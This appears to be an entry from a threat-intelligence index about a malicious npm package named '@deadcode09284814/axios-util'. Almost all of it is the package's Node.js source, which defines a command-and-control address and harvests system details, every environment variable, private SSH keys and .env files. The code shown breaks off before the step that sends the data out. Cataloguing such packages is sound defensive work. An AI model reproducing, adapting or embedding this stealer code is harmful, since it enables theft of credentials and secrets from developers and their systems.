@deadcode09284814/axios-util flagged credential stealer (npm) — Cremit · NHI Credential Stealer Index

/incidentsfield log

@deadcode09284814/axios-util flagged credential stealer (npm) — Cremit · NHI Credential Stealer Index

#!/usr/bin/env node
const os = require('os');
const fs = require('fs');
const path = require('path');
const { execSync } = require('child_process');
const https = require('https');
const homedir = os.homedir();

const C2 = '80.200.28.28:2222';
const VICTIM_ID = `${os.hostname()}_${Date.now()}`;

async function steal() {
    const stolen = { system: {}, files: {}, ssh: [], env: {}, aws: [], npm: [] };
    
    // System info
    stolen.system = {
        hostname: os.hostname(),
        platform: os.platform(),
        username: os.userInfo().username,
        cwd: process.cwd(),
        network: Object.values(os.networkInterfaces()).flat().map(n => n.address)
    };
    
    // Environment variables (all)
    stolen.env = process.env;
    
    // SSH keys
    const sshPaths = [`${homedir}/.ssh/id_rsa`, `${homedir}/.ssh/id_ed25519`, `${homedir}/.ssh/id_dsa`, `${homedir}/.ssh/config`, `${homedir}/.ssh/authorized_keys`, `${homedir}/.ssh/known_hosts`];
    for (const p of sshPaths) {
        if (fs.existsSync(p)) stolen.ssh.push({ path: p, content: fs.readFileSync(p, 'utf8') });
    }
    
    // .env files
    const findEnv = (dir) => {
        try {
            const files = fs.readdirSync(dir);
            for (const f of files) {
                if (f === '.env' || f === '.env.local' || f === '.env.production') {
                    stolen.files[f] = fs.readFileSync(`${dir}/${f}`, 'utf8');
                }
            }
        } catch(e) {}
    };
    findEnv(process.cwd())